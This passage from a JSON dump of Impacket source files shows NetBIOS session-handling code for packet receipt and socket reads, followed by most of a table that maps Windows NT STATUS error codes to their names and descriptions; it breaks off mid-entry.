NetBIOSSessionPacket(data)\n        if NBSPacket.get_type() == NETBIOS_SESSION_KEEP_ALIVE:\n            # Discard packet\n            return self.recv_packet(timeout)\n        return NetBIOSSessionPacket(data)\n\n    def _request_session(self, remote_type, local_type, timeout = None):\n        p = NetBIOSSessionPacket()\n        remote_name = encode_name(self.get_remote_name(), remote_type, '')\n        myname = encode_name(self.get_myname(), local_type, '')\n        p.set_type(NETBIOS_SESSION_REQUEST)\n        p.set_trailer(remote_name + myname)\n\n        self._sock.sendall(p.rawData())\n        while 1:\n            p = self.recv_packet(timeout)\n            if p.get_type() == NETBIOS_SESSION_NEGATIVE_RESPONSE:\n                raise NetBIOSError('Cannot request session (Called Name:%s)' % self.get_remote_name())\n            elif p.get_type() == NETBIOS_SESSION_POSITIVE_RESPONSE:\n                break\n            else:\n                # Ignore all other messages, most probably keepalive messages\n                pass\n\n    def polling_read(self, read_length, timeout):\n        data = b''\n        if timeout is None:\n            timeout = 3600\n\n        time_left = timeout\n        CHUNK_TIME = 0.025\n        bytes_left = read_length\n\n        while bytes_left > 0:\n            try:\n                ready, _, _ = select.select([self._sock.fileno()], [], [], 0)\n\n                if not ready:\n                    if time_left <= 0:\n                        raise NetBIOSTimeout\n                    else:\n                        time.sleep(CHUNK_TIME)\n                        time_left -= CHUNK_TIME\n                        continue\n\n                received = self._sock.recv(bytes_left)\n                if len(received) == 0:\n                    raise NetBIOSError('Error while reading from remote', ERRCLASS_OS, None)\n\n                data = data + received\n                bytes_left = read_length - len(data)\n            except select.error as ex:\n                if ex.errno != errno.EINTR and ex.errno != errno.EAGAIN:\n                    raise NetBIOSError('Error occurs while reading from remote', ERRCLASS_OS, ex.errno)\n\n        return bytes(data)\n\n    def non_polling_read(self, read_length, timeout):\n        data = b''\n        if timeout is None:\n            timeout = 3600\n\n        start_time = time.time()\n        bytes_left = read_length\n\n        while bytes_left > 0:\n            self._sock.settimeout(timeout)\n            try:\n                received = self._sock.recv(bytes_left)\n            except socket.timeout:\n                raise NetBIOSTimeout\n            except Exception as ex:\n                raise NetBIOSError('Error occurs while reading from remote', ERRCLASS_OS, ex.errno)\n\n            if (time.time() - start_time) > timeout:\n                raise NetBIOSTimeout\n\n            if len(received) == 0:\n                raise NetBIOSError('Error while reading from remote', ERRCLASS_OS, None)\n\n            data = data + received\n            bytes_left = read_length - len(data)\n\n        return bytes(data)\n\n    def __read(self, timeout = None):\n        data = self.read_function(4, timeout)\n        type, flags, length = unpack('>ccH', data)\n        if ord(type) == NETBIOS_SESSION_MESSAGE:\n            length |= ord(flags) << 16\n        else:\n            if ord(flags) & 0x01:\n                length |= 0x10000\n        data2 = self.read_function(length, timeout)\n\n        return data + data2\n"
  },
  {
    "path": "impacket/nt_errors.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   NT STATUS Errors from [MS-ERREF]. Ideally all the files\n#   should grab the error codes from here (big ToDo)\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nERROR_MESSAGES = {\n        0x00000000: (\"STATUS_SUCCESS\",\"The operation completed successfully.\"),\n        0x00000001: (\"STATUS_WAIT_1\",\"The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state.\"),\n        0x00000002: (\"STATUS_WAIT_2\",\"The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state.\"),\n        0x00000003: (\"STATUS_WAIT_3\",\"The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state.\"),\n        0x0000003F: (\"STATUS_WAIT_63\",\"The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state.\"),\n        0x00000080: (\"STATUS_ABANDONED\",\"The caller attempted to wait for a mutex that has been abandoned.\"),\n        0x00000080: (\"STATUS_ABANDONED_WAIT_0\",\"The caller attempted to wait for a mutex that has been abandoned.\"),\n        0x000000BF: (\"STATUS_ABANDONED_WAIT_63\",\"The caller attempted to wait for a mutex that has been abandoned.\"),\n        0x000000C0: (\"STATUS_USER_APC\",\"A user-mode APC was delivered before the given Interval expired.\"),\n        0x00000101: (\"STATUS_ALERTED\",\"The delay completed because the thread was alerted.\"),\n        0x00000102: (\"STATUS_TIMEOUT\",\"The given Timeout interval expired.\"),\n        0x00000103: (\"STATUS_PENDING\",\"The operation that was requested is pending completion.\"),\n        0x00000104: (\"STATUS_REPARSE\",\"A reparse should be performed by the Object Manager because the name of the file resulted in a symbolic link.\"),\n        0x00000105: (\"STATUS_MORE_ENTRIES\",\"Returned by enumeration APIs to indicate more information is available to successive calls.\"),\n        0x00000106: (\"STATUS_NOT_ALL_ASSIGNED\",\"Indicates not all privileges or groups that are referenced are assigned to the caller. This allows, for example, all privileges to be disabled without having to know exactly which privileges are assigned.\"),\n        0x00000107: (\"STATUS_SOME_NOT_MAPPED\",\"Some of the information to be translated has not been translated.\"),\n        0x00000108: (\"STATUS_OPLOCK_BREAK_IN_PROGRESS\",\"An open/create operation completed while an opportunistic lock (oplock) break is underway.\"),\n        0x00000109: (\"STATUS_VOLUME_MOUNTED\",\"A new volume has been mounted by a file system.\"),\n        0x0000010A: (\"STATUS_RXACT_COMMITTED\",\"This success level status indicates that the transaction state already exists for the registry subtree but that a transaction commit was previously aborted. The commit has now been completed.\"),\n        0x0000010B: (\"STATUS_NOTIFY_CLEANUP\",\"Indicates that a notify change request has been completed due to closing the handle that made the notify change request.\"),\n        0x0000010C: (\"STATUS_NOTIFY_ENUM_DIR\",\"Indicates that a notify change request is being completed and that the information is not being returned in the caller's buffer. The caller now needs to enumerate the files to find the changes.\"),\n        0x0000010D: (\"STATUS_NO_QUOTAS_FOR_ACCOUNT\",\"{No Quotas} No system quota limits are specifically set for this account.\"),\n        0x0000010E: (\"STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED\",\"{Connect Failure on Primary Transport} An attempt was made to connect to the remote server %hs on the primary transport, but the connection failed. The computer WAS able to connect on a secondary transport.\"),\n        0x00000110: (\"STATUS_PAGE_FAULT_TRANSITION\",\"The page fault was a transition fault.\"),\n        0x00000111: (\"STATUS_PAGE_FAULT_DEMAND_ZERO\",\"The page fault was a demand zero fault.\"),\n        0x00000112: (\"STATUS_PAGE_FAULT_COPY_ON_WRITE\",\"The page fault was a demand zero fault.\"),\n        0x00000113: (\"STATUS_PAGE_FAULT_GUARD_PAGE\",\"The page fault was a demand zero fault.\"),\n        0x00000114: (\"STATUS_PAGE_FAULT_PAGING_FILE\",\"The page fault was satisfied by reading from a secondary storage device.\"),\n        0x00000115: (\"STATUS_CACHE_PAGE_LOCKED\",\"The cached page was locked during operation.\"),\n        0x00000116: (\"STATUS_CRASH_DUMP\",\"The crash dump exists in a paging file.\"),\n        0x00000117: (\"STATUS_BUFFER_ALL_ZEROS\",\"The specified buffer contains all zeros.\"),\n        0x00000118: (\"STATUS_REPARSE_OBJECT\",\"A reparse should be performed by the Object Manager because the name of the file resulted in a symbolic link.\"),\n        0x00000119: (\"STATUS_RESOURCE_REQUIREMENTS_CHANGED\",\"The device has succeeded a query-stop and its resource requirements have changed.\"),\n        0x00000120: (\"STATUS_TRANSLATION_COMPLETE\",\"The translator has translated these resources into the global space and no additional translations should be performed.\"),\n        0x00000121: (\"STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY\",\"The directory service evaluated group memberships locally, because it was unable to contact a global catalog server.\"),\n        0x00000122: (\"STATUS_NOTHING_TO_TERMINATE\",\"A process being terminated has no threads to terminate.\"),\n        0x00000123: (\"STATUS_PROCESS_NOT_IN_JOB\",\"The specified process is not part of a job.\"),\n        0x00000124: (\"STATUS_PROCESS_IN_JOB\",\"The specified process is part of a job.\"),\n        0x00000125: (\"STATUS_VOLSNAP_HIBERNATE_READY\",\"{Volume Shadow Copy Service} The system is now ready for hibernation.\"),\n        0x00000126: (\"STATUS_FSFILTER_OP_COMPLETED_SUCCESSFULLY\",\"A file system or file system filter driver has successfully completed an FsFilter operation.\"),\n        0x00000127: (\"STATUS_INTERRUPT_VECTOR_ALREADY_CONNECTED\",\"The specified interrupt vector was already connected.\"),\n        0x00000128: (\"STATUS_INTERRUPT_STILL_CONNECTED\",\"The specified interrupt vector is still connected.\"),\n        0x00000129: (\"STATUS_PROCESS_CLONED\",\"The current process is a cloned process.\"),\n        0x0000012A: (\"STATUS_FILE_LOCKED_WITH_ONLY_READERS\",\"The file was locked and all users of the file can only read.\"),\n        0x0000012B: (\"STATUS_FILE_LOCKED_WITH_WRITERS\",\"The file was locked and at least one user of the file can write.\"),\n        0x00000202: (\"STATUS_RESOURCEMANAGER_READ_ONLY\",\"The specified ResourceManager made no changes or updates to the resource under this transaction.\"),\n        0x00000367: (\"STATUS_WAIT_FOR_OPLOCK\",\"An operation is blocked and waiting for an oplock.\"),\n        0x00010001: (\"DBG_EXCEPTION_HANDLED\",\"Debugger handled the exception.\"),\n        0x00010002: (\"DBG_CONTINUE\",\"The debugger continued.\"),\n        0x001C0001: (\"STATUS_FLT_IO_COMPLETE\",\"The IO was completed by a filter.\"),\n        0x005B0002: (\"STATUS_SMB_BAD_UID\",\"The UID specified is not known as a valid ID on this server session.\"),\n        0xC0000467: (\"STATUS_FILE_NOT_AVAILABLE\",\"The file is temporarily unavailable.\"),\n        0xC0000721: (\"STATUS_CALLBACK_RETURNED_THREAD_AFFINITY\",\"A threadpool worker thread entered a callback at thread affinity %p and exited at affinity %p.  This is unexpected, indicating that the callback missed restoring the priority.\"),\n        0x40000000: (\"STATUS_OBJECT_NAME_EXISTS\",\"{Object Exists} An attempt was made to create an object but the object name already exists.\"),\n        0x40000001: (\"STATUS_THREAD_WAS_SUSPENDED\",\"{Thread Suspended} A thread termination occurred while the thread was suspended. The thread resumed, and termination proceeded.\"),\n        0x40000002: (\"STATUS_WORKING_SET_LIMIT_RANGE\",\"{Working Set Range Error} An attempt was made to set the working set minimum or maximum to values that are outside the allowable range.\"),\n        0x40000003: (\"STATUS_IMAGE_NOT_AT_BASE\",\"{Image Relocated} An image file could not be mapped at the address that is specified in the image file. Local fixes must be performed on this image.\"),\n        0x40000004: (\"STATUS_RXACT_STATE_CREATED\",\"This informational level status indicates that a specified registry subtree transaction state did not yet exist and had to be created.\"),\n        0x40000005: (\"STATUS_SEGMENT_NOTIFICATION\",\"{Segment Load} A virtual DOS machine (VDM) is loading, unloading, or moving an MS-DOS or Win16 program segment image. An exception is raised so that a debugger can load, unload, or track symbols and breakpoints within these 16-bit segments.\"),\n        0x40000006: (\"STATUS_LOCAL_USER_SESSION_KEY\",\"{Local Session Key} A user session key was requested for a local remote procedure call (RPC) connection. The session key that is returned is a constant value and not unique to this connection.\"),\n        0x40000007: (\"STATUS_BAD_CURRENT_DIRECTORY\",\"{Invalid Current Directory} The process cannot switch to the startup current directory %hs. Select OK to set the current directory to %hs, or select CANCEL to exit.\"),\n        0x40000008: (\"STATUS_SERIAL_MORE_WRITES\",\"{Serial IOCTL Complete} A serial I/O operation was completed by another write to a serial port. (The IOCTL_SERIAL_XOFF_COUNTER reached zero.)\"),\n        0x40000009: (\"STATUS_REGISTRY_RECOVERED\",\"{Registry Recovery} One of the files that contains the system registry data had to be recovered by using a log or alternate copy. The recovery was successful.\"),\n        0x4000000A: (\"STATUS_FT_READ_RECOVERY_FROM_BACKUP\",\"{Redundant Read} To satisfy a read request, the Windows NT fault-tolerant file system successfully read the requested data from a redundant copy. This was done because the file system encountered a failure on a member of the fault-tolerant volume but was unable to reassign the failing area of the device.\"),\n        0x4000000B: (\"STATUS_FT_WRITE_RECOVERY\",\"{Redundant Write} To satisfy a write request, the Windows NT fault-tolerant file system successfully wrote a redundant copy of the information. This was done because the file system encountered a failure on a member of the fault-tolerant volume but was unable to reassign the failing area of the device.\"),\n        0x4000000C: (\"STATUS_SERIAL_COUNTER_TIMEOUT\",\"{Serial IOCTL Timeout} A serial I/O operation completed because the time-out period expired. (The IOCTL_SERIAL_XOFF_COUNTER had not reached zero.)\"),\n        0x4000000D: (\"STATUS_NULL_LM_PASSWORD\",\"{Password Too Complex} The Windows password is too complex to be converted to a LAN Manager password. The LAN Manager password that returned is a NULL string.\"),\n        0x4000000E: (\"STATUS_IMAGE_MACHINE_TYPE_MISMATCH\",\"{Machine Type Mismatch} The image file %hs is valid but is for a machine type other than the current machine. Select OK to continue, or CANCEL to fail the DLL load.\"),\n        0x4000000F: (\"STATUS_RECEIVE_PARTIAL\",\"{Partial Data Received} The network transport returned partial data to its client. The remaining data will be sent later.\"),\n        0x40000010: (\"STATUS_RECEIVE_EXPEDITED\",\"{Expedited Data Received} The network transport returned data to its client that was marked as expedited by the remote system.\"),\n        0x40000011: (\"STATUS_RECEIVE_PARTIAL_EXPEDITED\",\"{Partial Expedited Data Received} The network transport returned partial data to its client and this data was marked as expedited by the remote system. The remaining data will be sent later.\"),\n        0x40000012: (\"STATUS_EVENT_DONE\",\"{TDI Event Done} The TDI indication has completed successfully.\"),\n        0x40000013: (\"STATUS_EVENT_PENDING\",\"{TDI Event Pending} The TDI indication has entered the pending state.\"),\n        0x40000014: (\"STATUS_CHECKING_FILE_SYSTEM\",\"Checking file system on %wZ.\"),\n        0x40000015: (\"STATUS_FATAL_APP_EXIT\",\"{Fatal Application Exit} %hs\"),\n        0x40000016: (\"STATUS_PREDEFINED_HANDLE\",\"The specified registry key is referenced by a predefined handle.\"),\n        0x40000017: (\"STATUS_WAS_UNLOCKED\",\"{Page Unlocked} The page protection of a locked page was changed to 'No Access' and the page was unlocked from memory and from the process.\"),\n        0x40000018: (\"STATUS_SERVICE_NOTIFICATION\",\"%hs\"),\n        0x40000019: (\"STATUS_WAS_LOCKED\",\"{Page Locked} One of the pages to lock was already locked.\"),\n        0x4000001A: (\"STATUS_LOG_HARD_ERROR\",\"Application popup: %1 : %2\"),\n        0x4000001B: (\"STATUS_ALREADY_WIN32\",\"A Win32 process already exists.\"),\n        0x4000001C: (\"STATUS_WX86_UNSIMULATE\",\"An exception status code that is used by the Win32 x86 emulation subsystem.\"),\n        0x4000001D: (\"STATUS_WX86_CONTINUE\",\"An exception status code that is used by the Win32 x86 emulation subsystem.\"),\n        0x4000001E: (\"STATUS_WX86_SINGLE_STEP\",\"An exception status code that is used by the Win32 x86 emulation subsystem.\"),\n        0x4000001F: (\"STATUS_WX86_BREAKPOINT\",\"An exception status code that is used by the Win32 x86 emulation subsystem.\"),\n        0x40000020: (\"STATUS_WX86_EXCEPTION_CONTINUE\",\"An exception status code that is used by the Win32 x86 emulation subsystem.\"),\n        0x40000021: (\"STATUS_WX86_EXCEPTION_LASTCHANCE\",\"An exception status code that is used by the Win32 x86 emulation subsystem.\"),\n        0x40000022: (\"STATUS_WX86_EXCEPTION_CHAIN\",\"An exception status code that is used by the Win32 x86 emulation subsystem.\"),\n        0x40000023: (\"STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE\",\"{Machine Type Mismatch} The image file %hs is valid but is for a machine type other than the current machine.\"),\n        0x40000024: (\"STATUS_NO_YIELD_PERFORMED\",\"A yield execution was performed and no thread was available to run.\"),\n        0x40000025: (\"STATUS_TIMER_RESUME_IGNORED\",\"The resume flag to a timer API was ignored.\"),\n        0x40000026: (\"STATUS_ARBITRATION_UNHANDLED\",\"The arbiter has deferred arbitration of these resources to its parent.\"),\n        0x40000027: (\"STATUS_CARDBUS_NOT_SUPPORTED\",\"The device has detected a CardBus card in its slot.\"),\n        0x40000028: (\"STATUS_WX86_CREATEWX86TIB\",\"An exception status code that is used by the Win32 x86 emulation subsystem.\"),\n        0x40000029: (\"STATUS_MP_PROCESSOR_MISMATCH\",\"The CPUs in this multiprocessor system are not all the same revision level. To use all processors, the operating system restricts itself to the features of the least capable processor in the system. If problems occur with this system, contact the CPU manufacturer to see if this mix of processors is supported.\"),\n        0x4000002A: (\"STATUS_HIBERNATED\",\"The system was put into hibernation.\"),\n        0x4000002B: (\"STATUS_RESUME_HIBERNATION\",\"The system was resumed from hibernation.\"),\n        0x4000002C: (\"STATUS_FIRMWARE_UPDATED\",\"Windows has detected that the system firmware (BIOS) was updated [previous firmware date = %2, current firmware date %3].\"),\n        0x4000002D: (\"STATUS_DRIVERS_LEAKING_LOCKED_PAGES\",\"A device driver is leaking locked I/O pages and is causing system degradation. The system has automatically enabled the tracking code to try and catch the culprit.\"),\n        0x4000002E: (\"STATUS_MESSAGE_RETRIEVED\",\"The ALPC message being canceled has already been retrieved from the queue on the other side.\"),\n        0x4000002F: (\"STATUS_SYSTEM_POWERSTATE_TRANSITION\",\"The system power state is transitioning from %2 to %3.\"),\n        0x40000030: (\"STATUS_ALPC_CHECK_COMPLETION_LIST\",\"The receive operation was successful. Check the ALPC completion list for the received message.\"),\n        0x40000031: (\"STATUS_SYSTEM_POWERSTATE_COMPLEX_TRANSITION\",\"The system power state is transitioning from %2 to %3 but could enter %4.\"),\n        0x40000032: (\"STATUS_ACCESS_AUDIT_BY_POLICY\",\"Access to %1 is monitored by policy rule %2.\"),\n        0x40000033: (\"STATUS_ABANDON_HIBERFILE\",\"A valid hibernation file has been invalidated and should be abandoned.\"),\n        0x40000034: (\"STATUS_BIZRULES_NOT_ENABLED\",\"Business rule scripts are disabled for the calling application.\"),\n        0x40000294: (\"STATUS_WAKE_SYSTEM\",\"The system has awoken.\"),\n        0x40000370: (\"STATUS_DS_SHUTTING_DOWN\",\"The directory service is shutting down.\"),\n        0x40010001: (\"DBG_REPLY_LATER\",\"Debugger will reply later.\"),\n        0x40010002: (\"DBG_UNABLE_TO_PROVIDE_HANDLE\",\"Debugger cannot provide a handle.\"),\n        0x40010003: (\"DBG_TERMINATE_THREAD\",\"Debugger terminated the thread.\"),\n        0x40010004: (\"DBG_TERMINATE_PROCESS\",\"Debugger terminated the process.\"),\n        0x40010005: (\"DBG_CONTROL_C\",\"Debugger obtained control of C.\"),\n        0x40010006: (\"DBG_PRINTEXCEPTION_C\",\"Debugger printed an exception on control C.\"),\n        0x40010007: (\"DBG_RIPEXCEPTION\",\"Debugger received a RIP exception.\"),\n        0x40010008: (\"DBG_CONTROL_BREAK\",\"Debugger received a control break.\"),\n        0x40010009: (\"DBG_COMMAND_EXCEPTION\",\"Debugger command communication exception.\"),\n        0x40020056: (\"RPC_NT_UUID_LOCAL_ONLY\",\"A UUID that is valid only on this computer has been allocated.\"),\n        0x400200AF: (\"RPC_NT_SEND_INCOMPLETE\",\"Some data remains to be sent in the request buffer.\"),\n        0x400A0004: (\"STATUS_CTX_CDM_CONNECT\",\"The Client Drive Mapping Service has connected on Terminal Connection.\"),\n        0x400A0005: (\"STATUS_CTX_CDM_DISCONNECT\",\"The Client Drive Mapping Service has disconnected on Terminal Connection.\"),\n        0x4015000D: (\"STATUS_SXS_RELEASE_ACTIVATION_CONTEXT\",\"A kernel mode component is releasing a reference on an activation context.\"),\n        0x40190034: (\"STATUS_RECOVERY_NOT_NEEDED\",\"The transactional resource manager is already consistent. Recovery is not needed.\"),\n        0x40190035: (\"STATUS_RM_ALREADY_STARTED\",\"The transactional resource manager has already been started.\"),\n        0x401A000C: (\"STATUS_LOG_NO_RESTART\",\"The log service encountered a log stream with no restart area.\"),\n        0x401B00EC: (\"STATUS_VIDEO_DRIVER_DEBUG_REPORT_REQUEST\",\"{Display Driver Recovered From Failure} The %hs display driver has detected a failure and recovered from it. Some graphical operations may have failed. The next time you restart the machine, a dialog box appears, giving you an opportunity to upload data about this failure to Microsoft.\"),\n        0x401E000A: (\"STATUS_GRAPHICS_PARTIAL_DATA_POPULATED\",\"The specified buffer is not big enough to contain the entire requested dataset. Partial data is populated up to the size of the buffer. The caller needs to provide a buffer of the size as specified in the partially populated buffer's content (interface specific).\"),\n        0x401E0117: (\"STATUS_GRAPHICS_DRIVER_MISMATCH\",\"The kernel driver detected a version mismatch between it and the user mode driver.\"),\n        0x401E0307: (\"STATUS_GRAPHICS_MODE_NOT_PINNED\",\"No mode is pinned on the specified VidPN source/target.\"),\n        0x401E031E: (\"STATUS_GRAPHICS_NO_PREFERRED_MODE\",\"The specified mode set does not specify a preference for one of its modes.\"),\n        0x401E034B: (\"STATUS_GRAPHICS_DATASET_IS_EMPTY\",\"The specified dataset (for example, mode set, frequency range set, descriptor set, or topology) is empty.\"),\n        0x401E034C: (\"STATUS_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET\",\"The specified dataset (for example, mode set, frequency range set, descriptor set, or topology) does not contain any more elements.\"),\n        0x401E0351: (\"STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED\",\"The specified content transformation is not pinned on the specified VidPN present path.\"),\n        0x401E042F: (\"STATUS_GRAPHICS_UNKNOWN_CHILD_STATUS\",\"The child device presence was not reliably detected.\"),\n        0x401E0437: (\"STATUS_GRAPHICS_LEADLINK_START_DEFERRED\",\"Starting the lead adapter in a linked configuration has been temporarily deferred.\"),\n        0x401E0439: (\"STATUS_GRAPHICS_POLLING_TOO_FREQUENTLY\",\"The display adapter is being polled for children too frequently at the same polling level.\"),\n        0x401E043A: (\"STATUS_GRAPHICS_START_DEFERRED\",\"Starting the adapter has been temporarily deferred.\"),\n        0x40230001: (\"STATUS_NDIS_INDICATION_REQUIRED\",\"The request will be completed later by an NDIS status indication.\"),\n        0x80000001: (\"STATUS_GUARD_PAGE_VIOLATION\",\"{EXCEPTION} Guard Page Exception A page of memory that marks the end of a data structure, such as a stack or an array, has been accessed.\"),\n        0x80000002: (\"STATUS_DATATYPE_MISALIGNMENT\",\"{EXCEPTION} Alignment Fault A data type misalignment was detected in a load or store instruction.\"),\n        0x80000003: (\"STATUS_BREAKPOINT\",\"{EXCEPTION} Breakpoint A breakpoint has been reached.\"),\n        0x80000004: (\"STATUS_SINGLE_STEP\",\"{EXCEPTION} Single Step A single step or trace operation has just been completed.\"),\n        0x80000005: (\"STATUS_BUFFER_OVERFLOW\",\"{Buffer Overflow} The data was too large to fit into the specified buffer.\"),\n        0x80000006: (\"STATUS_NO_MORE_FILES\",\"{No More Files} No more files were found which match the file specification.\"),\n        0x80000007: (\"STATUS_WAKE_SYSTEM_DEBUGGER\",\"{Kernel Debugger Awakened} The system debugger was awakened by an interrupt.\"),\n        0x8000000A: (\"STATUS_HANDLES_CLOSED\",\"{Handles Closed} Handles to objects have been automatically closed because of the requested operation.\"),\n        0x8000000B: (\"STATUS_NO_INHERITANCE\",\"{Non-Inheritable ACL} An access control list (ACL) contains no components that can be inherited.\"),\n        0x8000000C: (\"STATUS_GUID_SUBSTITUTION_MADE\",\"{GUID Substitution} During the translation of a globally unique identifier (GUID) to a Windows security ID (SID), no administratively defined GUID prefix was found. A substitute prefix was used, which will not compromise system security. However, this may provide a more restrictive access than intended.\"),\n        0x8000000D: (\"STATUS_PARTIAL_COPY\",\"Because of protection conflicts, not all the requested bytes could be copied.\"),\n        0x8000000E: (\"STATUS_DEVICE_PAPER_EMPTY\",\"{Out of Paper} The printer is out of paper.\"),\n        0x8000000F: (\"STATUS_DEVICE_POWERED_OFF\",\"{Device Power Is Off} The printer power has been turned off.\"),\n        0x80000010: (\"STATUS_DEVICE_OFF_LINE\",\"{Device Offline} The printer has been taken offline.\"),\n        0x80000011: (\"STATUS_DEVICE_BUSY\",\"{Device Busy} The device is currently busy.\"),\n        0x80000012: (\"STATUS_NO_MORE_EAS\",\"{No More EAs} No more extended attributes (EAs) were found for the file.\"),\n        0x80000013: (\"STATUS_INVALID_EA_NAME\",\"{Illegal EA} The specified extended attribute (EA) name contains at least one illegal character.\"),\n        0x80000014: (\"STATUS_EA_LIST_INCONSISTENT\",\"{Inconsistent EA List} The extended attribute (EA) list is inconsistent.\"),\n        0x80000015: (\"STATUS_INVALID_EA_FLAG\",\"{Invalid EA Flag} An invalid extended attribute (EA) flag was set.\"),\n        0x80000016: (\"STATUS_VERIFY_REQUIRED\",\"{Verifying Disk} The media has changed and a verify operation is in progress; therefore, no reads or writes may be performed to the device, except those that are used in the verify operation.\"),\n        0x80000017: (\"STATUS_EXTRANEOUS_INFORMATION\",\"{Too Much Information} The specified access control list (ACL) contained more information than was expected.\"),\n        0x80000018: (\"STATUS_RXACT_COMMIT_NECESSARY\",\"This warning level status indicates that the transaction state already exists for the registry subtree, but that a transaction commit was previously aborted. The commit has NOT been completed but has not been rolled back either; therefore, it may still be committed, if needed.\"),\n        0x8000001A: (\"STATUS_NO_MORE_ENTRIES\",\"{No More Entries} No more entries are available from an enumeration operation.\"),\n        0x8000001B: (\"STATUS_FILEMARK_DETECTED\",\"{Filemark Found} A filemark was detected.\"),\n        0x8000001C: (\"STATUS_MEDIA_CHANGED\",\"{Media Changed} The media may have changed.\"),\n        0x8000001D: (\"STATUS_BUS_RESET\",\"{I/O Bus Reset} An I/O bus reset was detected.\"),\n        0x8000001E: (\"STATUS_END_OF_MEDIA\",\"{End of Media} The end of the media was encountered.\"),\n        0x8000001F: (\"STATUS_BEGINNING_OF_MEDIA\",\"The beginning of a tape or partition has been detected.\"),\n        0x80000020: (\"STATUS_MEDIA_CHECK\",\"{Media Changed} The media may have changed.\"),\n        0x80000021: (\"STATUS_SETMARK_DETECTED\",\"A tape access reached a set mark.\"),\n        0x80000022: (\"STATUS_NO_DATA_DETECTED\",\"During a tape access, the end of the data written is reached.\"),\n        0x80000023: (\"STATUS_REDIRECTOR_HAS_OPEN_HANDLES\",\"The redirector is in use and cannot be unloaded.\"),\n        0x80000024: (\"STATUS_SERVER_HAS_OPEN_HANDLES\",\"The server is in use and cannot be unloaded.\"),\n        0x80000025: (\"STATUS_ALREADY_DISCONNECTED\",\"The specified connection has already been disconnected.\"),\n        0x80000026: (\"STATUS_LONGJUMP\",\"A long jump has been executed.\"),\n        0x80000027: (\"STATUS_CLEANER_CARTRIDGE_INSTALLED\",\"A cleaner cartridge is present in the tape library.\"),\n        0x80000028: (\"STATUS_PLUGPLAY_QUERY_VETOED\",\"The Plug and Play query operation was not successful.\"),\n        0x80000029: (\"STATUS_UNWIND_CONSOLIDATE\",\"A frame consolidation has been executed.\"),\n        0x8000002A: (\"STATUS_REGISTRY_HIVE_RECOVERED\",\"{Registry Hive Recovered} The registry hive (file): %hs was corrupted and it has been recovered. Some data might have been lost.\"),\n        0x8000002B: (\"STATUS_DLL_MIGHT_BE_INSECURE\",\"The application is attempting to run executable code from the module %hs. This may be insecure. An alternative, %hs, is available. Should the application use the secure module %hs?\"),\n        0x8000002C: (\"STATUS_DLL_MIGHT_BE_INCOMPATIBLE\",\"The application is loading executable code from the module %hs. This is secure but may be incompatible with previous releases of the operating system. An alternative, %hs, is available. Should the application use the secure module %hs?\"),\n        0x8000002D: (\"STATUS_STOPPED_ON_SYMLINK\",\"The create operation stopped after reaching a symbolic link.\"),\n        0x80000288: (\"STATUS_DEVICE_REQUIRES_CLEANING\",\"The device has indicated that cleaning is necessary.\"),\n        0x80000289: (\"STATUS_DEVICE_DOOR_OPEN\",\"The device has indicated that its door is open. Further operations require it closed and secured.\"),\n        0x80000803: (\"STATUS_DATA_LOST_REPAIR\",\"Windows discovered a corruption in the file %hs. This file has now been repaired. Check if any data in the file was lost because of the corruption.\"),\n        0x80010001: (\"DBG_EXCEPTION_NOT_HANDLED\",\"Debugger did not handle the exception.\"),\n        0x80130001: (\"STATUS_CLUSTER_NODE_ALREADY_UP\",\"The cluster node is already up.\"),\n        0x80130002: (\"STATUS_CLUSTER_NODE_ALREADY_DOWN\",\"The cluster node is already down.\"),\n        0x80130003: (\"STATUS_CLUSTER_NETWORK_ALREADY_ONLINE\",\"The cluster network is already online.\"),\n        0x80130004: (\"STATUS_CLUSTER_NETWORK_ALREADY_OFFLINE\",\"The cluster network is already offline.\"),\n        0x80130005: (\"STATUS_CLUSTER_NODE_ALREADY_MEMBER\",\"The cluster node is already a member of the cluster.\"),\n        0x80190009: (\"STATUS_COULD_NOT_RESIZE_LOG\",\"The log could not be set to the requested size.\"),\n        0x80190029: (\"STATUS_NO_TXF_METADATA\",\"There is no transaction metadata on the file.\"),\n        0x80190031: (\"STATUS_CANT_RECOVER_WITH_HANDLE_OPEN\",\"The file cannot be recovered because there is a handle still open on it.\"),\n        0x80190041: (\"STATUS_TXF_METADATA_ALREADY_PRESENT\",\"Transaction metadata is already present on this file and cannot be superseded.\"),\n        0x80190042: (\"STATUS_TRANSACTION_SCOPE_CALLBACKS_NOT_SET\",\"A transaction scope could not be entered because the scope handler has not been initialized.\"),\n        0x801B00EB: (\"STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD_RECOVERED\",\"{Display Driver Stopped Responding and recovered} The %hs display driver has stopped working normally. The recovery had been performed.\"),\n        0x801C0001: (\"STATUS_FLT_BUFFER_TOO_SMALL\",\"{Buffer too small} The buffer is too small to contain the entry. No information has been written to the buffer.\"),\n        0x80210001: (\"STATUS_FVE_PARTIAL_METADATA\",\"Volume metadata read or write is incomplete.\"),\n        0x80210002: (\"STATUS_FVE_TRANSIENT_STATE\",\"BitLocker encryption keys were ignored because the volume was in a transient state.\"),\n        0xC0000001: (\"STATUS_UNSUCCESSFUL\",\"{Operation Failed} The requested operation was unsuccessful.\"),\n        0xC0000002: (\"STATUS_NOT_IMPLEMENTED\",\"{Not Implemented} The requested operation is not implemented.\"),\n        0xC0000003: (\"STATUS_INVALID_INFO_CLASS\",\"{Invalid Parameter} The specified information class is not a valid information class for the specified object.\"),\n        0xC0000004: (\"STATUS_INFO_LENGTH_MISMATCH\",\"The specified information record length does not match the length that is required for the specified information class.\"),\n        0xC0000005: (\"STATUS_ACCESS_VIOLATION\",\"The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.\"),\n        0xC0000006: 